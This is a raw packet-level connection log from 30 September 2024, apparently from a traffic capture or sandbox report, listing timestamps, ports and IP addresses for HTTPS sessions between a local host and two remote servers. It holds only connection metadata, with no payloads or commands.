Sep 30, 2024 18:58:21.522128105 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.522192955 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.522203922 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.522241116 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.522773027 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.522833109 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.522958040 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.523010015 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.523333073 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.523410082 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.523792028 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.523853064 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.524044991 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.524100065 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.530733109 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.530792952 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.530869007 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.530910969 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.530920982 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.530926943 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.530939102 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.530956030 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.530977964 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.531179905 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.531224012 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.539462090 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.539521933 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.547291994 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.547328949 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.547394037 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.547409058 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.547430992 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.577699900 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.577790022 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.577816963 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.577868938 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.609466076 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.609575033 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.609587908 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.609601021 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.609632969 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.609651089 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.609775066 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.609826088 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.609916925 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.609967947 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.610403061 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.610451937 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.610562086 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.610595942 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.610604048 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.610615015 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.610635042 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.610883951 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.610929012 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.610935926 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.610980988 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.611079931 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.611105919 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.611124992 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.611129999 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.611166000 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.611557007 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.611632109 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.611731052 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.611784935 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.611906052 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.611949921 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.611949921 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.611964941 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.612001896 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.623030901 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.623073101 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.623097897 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.623121023 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.623157978 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.623194933 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.623281956 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.623289108 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.623336077 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.623363018 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.623408079 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.623455048 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.623496056 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.623735905 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.623785973 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.623847961 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.623907089 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.623946905 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.624025106 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.643472910 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.643518925 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.643539906 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.643547058 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.643558979 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.643580914 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.643600941 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.643719912 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.643810987 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.643908978 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.643959999 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.704408884 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.704493999 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.704515934 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.704567909 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.704696894 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.704715014 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.704771996 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.704778910 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.704837084 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.704858065 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.705087900 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.705703020 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.705719948 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.705760956 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.705775976 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.705780983 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.705811977 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.705821991 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.705881119 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.705887079 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.706037998 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.720177889 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.720201969 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.720256090 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.720267057 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.720314980 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.720329046 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.721142054 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.721157074 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.721219063 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.721224070 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.735162973 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.735187054 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.735274076 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.735281944 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.735337019 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.793966055 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.793992996 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.794055939 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.794069052 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.794133902 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.794703007 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.794718981 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.794796944 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.794802904 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.795299053 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.795317888 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.795357943 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.795363903 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.795403957 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.795442104 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.795485973 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.795490980 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.796241999 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.796256065 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.796312094 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.796320915 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.796358109 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.808095932 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.808116913 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.808170080 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.808181047 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.808222055 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.808576107 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.808589935 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.808626890 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.808636904 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.808653116 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.808664083 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.808701992 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.809283972 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.809303045 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.809351921 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.809356928 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.809401035 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.809421062 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.825134993 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.825169086 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.825256109 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.825264931 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.825316906 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.886754036 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.886781931 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.886878967 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.886898994 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.886912107 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.886995077 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.887276888 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.887337923 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.887339115 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.887355089 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.887407064 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.887758970 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.887785912 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.887824059 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.887831926 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.887856007 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.888453007 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.888468981 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.888505936 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.888511896 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.888560057 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.901062012 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.901079893 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.901128054 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.901138067 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.901170969 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.901245117 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.901288986 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.901293993 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.901518106 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.901535988 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.901572943 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.901577950 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.901607990 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.901815891 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.901866913 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.901871920 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.917491913 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.917507887 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.917560101 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.917570114 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.917606115 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.979696989 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.979718924 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.979779959 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.979803085 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.979815006 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.981120110 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.981134892 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.981194973 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.981203079 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.981251001 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.981728077 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.981740952 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.981800079 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.981808901 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.981852055 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.982255936 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.982270002 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.982315063 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.982323885 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.982359886 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.982557058 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.982610941 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.993035078 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.993057013 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.993098974 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.993110895 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.993124008 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.993158102 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.993343115 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.993396044 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.993402004 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.993447065 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.994190931 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.994210958 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.994256973 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.994262934 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.994290113 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.994309902 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.011241913 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.011327982 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.011338949 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.011425972 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.075733900 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.075761080 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.075836897 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.075855970 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.075881958 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.075994968 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.076045036 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.076050997 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.076092005 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.076316118 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.076366901 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.076458931 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.076495886 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.076507092 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.076512098 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.076544046 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.076559067 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.076796055 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.076848984 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.077142000 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.077199936 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.077204943 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.077220917 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.078015089 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.078068972 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.078079939 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.078088045 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.078115940 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.078181982 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.078227997 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.078238010 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.078283072 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.078339100 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.078393936 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.078506947 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.078555107 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.078694105 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.078742981 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.086743116 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.089684010 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.089713097 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.089741945 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.089749098 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.089756012 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.089781046 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.089801073 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.090526104 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.090622902 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:22.090670109 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.092519045 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:22.662693977 CEST	49744	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:22.662739992 CEST	443	49744	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:22.662801027 CEST	49744	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:22.663129091 CEST	49744	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:22.663141012 CEST	443	49744	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:23.132118940 CEST	443	49744	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:23.132280111 CEST	49744	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:23.403304100 CEST	49744	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:23.403326035 CEST	443	49744	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:23.403733969 CEST	443	49744	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:23.404985905 CEST	49744	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:23.451407909 CEST	443	49744	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:23.554825068 CEST	443	49744	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:23.554893970 CEST	443	49744	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:23.554969072 CEST	49744	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:23.555696011 CEST	49744	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:23.814862967 CEST	49741	80	192.168.2.5	104.21.92.189
